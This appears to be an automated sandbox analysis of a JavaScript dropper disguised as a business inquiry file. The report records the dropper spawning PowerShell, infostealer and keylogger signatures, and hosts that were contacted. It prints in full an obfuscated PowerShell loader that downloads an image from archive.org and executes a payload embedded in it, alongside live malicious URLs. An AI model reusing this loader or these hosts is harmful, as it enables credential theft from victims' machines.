                      Source: powershell.exe, 00000002.00000002.1590939976.0000020211D1D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1590939976.0000020211D33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1529607955.000001A8D9111000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
                      Source: powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                      Source: powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                      Source: powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8D94E0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://epanpano.com
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8D94E0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://epanpano.com/log/ORGN.txt
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8DA992000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1529607955.000001A8DA78F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8DA0A1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8DA741000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ia601606.us.arX
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8DA479000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1529607955.000001A8D9333000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ia601606.us.archive.org
                      Source: powershell.exe, 00000002.00000002.1590939976.0000020212486000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ia601606.us.archive.org/10/items/deathnote
                      Source: powershell.exe, 00000004.00000002.1568306343.000001A8F1340000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1527966232.000001A8D72A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8DAA19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8DA78F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.org
                      Source: powershell.exe, 00000004.00000002.1529607955.000001A8DA78F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.orgX
                      Source: RegAsm.exe, 00000007.00000002.2712744340.0000000006020000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2697982737.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698787111.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2713398889.0000000006096000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.digicert.com/CPS0
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49706 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49706
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705
                      Source: unknownHTTPS traffic detected: 207.241.227.86:443 -> 192.168.2.8:49705 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 78.142.208.13:443 -> 192.168.2.8:49706 version: TLS 1.2

                      Key, Mouse, Clipboard, Microphone and Screen Capturing

                      barindex
                      Contains functionality to log keystrokes (.Net Source)
                      Source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, gmBpn1ecBmQ.cs.Net Code: cTytqmH

                      System Summary

                      barindex
                      Malicious sample detected (through community Yara rule)
                      Source: 7.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                      Source: 4.2.powershell.exe.1a8e949b578.1.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                      Source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                      Source: Process Memory Space: powershell.exe PID: 7564, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                      Source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                      Very long command line found
                      Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 9316
                      Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 9316Jump to behavior
                      Windows Scripting host queries suspicious COM object (likely to drop second stage)
                      Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
                      Wscript starts Powershell (via cmd or directly)
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? ? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB?
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? ? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FFB4AD90E0B4_2_00007FFB4AD90E0B
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_011B4AC07_2_011B4AC0
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_011BEE007_2_011BEE00
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_011BDE907_2_011BDE90
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_011B3EA87_2_011B3EA8
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_011B41F07_2_011B41F0
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_066B24287_2_066B2428
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_066BE0487_2_066BE048
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_066C66C07_2_066C66C0
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_066C52587_2_066C5258
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_066CC2507_2_066CC250
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_066CB2F07_2_066CB2F0
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_066C31207_2_066C3120
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_066C7E507_2_066C7E50
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_066C77707_2_066C7770
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_066CE4707_2_066CE470
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_066C00407_2_066C0040
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_066C59AB7_2_066C59AB
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_066C00077_2_066C0007
                      Source: INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.jsInitial sample: Strings found which are bigger than 50
                      Source: 7.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                      Source: 4.2.powershell.exe.1a8e949b578.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                      Source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                      Source: Process Memory Space: powershell.exe PID: 7564, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                      Source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                      Source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, roEs93G.csCryptographic APIs: 'TransformFinalBlock'
                      Source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, roEs93G.csCryptographic APIs: 'TransformFinalBlock'
                      Source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, JQn0Aia1.csCryptographic APIs: 'TransformFinalBlock'
                      Source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, JQn0Aia1.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
                      Source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, YsrmZ97b.csCryptographic APIs: 'TransformFinalBlock'
                      Source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, YsrmZ97b.csCryptographic APIs: 'TransformFinalBlock'
                      Source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, YsrmZ97b.csCryptographic APIs: 'TransformFinalBlock'
                      Source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, YsrmZ97b.csCryptographic APIs: 'TransformFinalBlock'
                      Source: classification engineClassification label: mal100.spre.troj.spyw.expl.evad.winJS@11/5@4/4
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMutant created: NULL
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7572:120:WilError_03
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7864:120:WilError_03
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mqt2f2g2.wq0.ps1Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                      Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                      Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js"
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? 